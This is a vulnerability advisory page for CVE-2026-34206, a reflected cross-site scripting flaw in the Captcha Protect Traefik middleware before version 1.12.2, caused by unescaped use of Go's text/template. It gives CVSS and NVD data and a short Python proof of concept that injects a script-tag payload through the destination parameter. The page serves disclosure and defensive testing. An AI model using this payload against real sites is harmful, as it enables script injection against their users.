Security Vulnerability Report
中文
CVE-2026-34206 CVSS 6.1 MEDIUM

CVE-2026-34206

Published: 2026-03-31 20:16:29
Last Modified: 2026-04-07 15:59:28

Description

Captcha Protect is a Traefik middleware to add an anti-bot challenge to individual IPs in a subnet when traffic spikes are detected from that subnet. Prior to version 1.12.2, a reflected cross-site scripting (XSS) vulnerability exists in github.com/libops/captcha-protect. The challenge page accepted a client-supplied destination value and rendered it into HTML using Go's text/template. Because text/template does not perform contextual HTML escaping, an attacker could supply a crafted destination value that breaks out of the hidden input attribute and injects arbitrary script into the challenge page. This issue has been patched in version 1.12.2.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:libops:captcha_protect:*:*:*:*:*:traefik:*:* - VULNERABLE
libops/captcha-protect < 1.12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-34206 # The vulnerability allows injection of arbitrary scripts into the destination parameter. import requests target_url = "http://target-host/challenge-page" # Payload breaks out of the hidden input attribute and injects a script tag payload = '"><script>alert("CVE-2026-34206-XSS")</script>' params = { "destination": payload } try: response = requests.get(target_url, params=params, timeout=5) if payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") else: print("[-] Vulnerability not detected or payload filtered.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34206", "sourceIdentifier": "[email protected]", "published": "2026-03-31T20:16:28.830", "lastModified": "2026-04-07T15:59:28.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Captcha Protect is a Traefik middleware to add an anti-bot challenge to individual IPs in a subnet when traffic spikes are detected from that subnet. Prior to version 1.12.2, a reflected cross-site scripting (XSS) vulnerability exists in github.com/libops/captcha-protect. The challenge page accepted a client-supplied destination value and rendered it into HTML using Go's text/template. Because text/template does not perform contextual HTML escaping, an attacker could supply a crafted destination value that breaks out of the hidden input attribute and injects arbitrary script into the challenge page. This issue has been patched in version 1.12.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libops:captcha_protect:*:*:*:*:*:traefik:*:*", "versionEndExcluding": "1.12.2", "matchCriteriaId": "0521B194-E67A-4D35-B160-9410AE9668AA"}]}]}], "references": [{"url": "https://github.com/libops/captcha-protect/commit/eef6211ecd1147273be484d913b81c68c0bd8d3f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/libops/captcha-protect/releases/tag/v1.12.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/libops/captcha-protect/security/advisories/GHSA-ph62-4j5g-2q4r", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}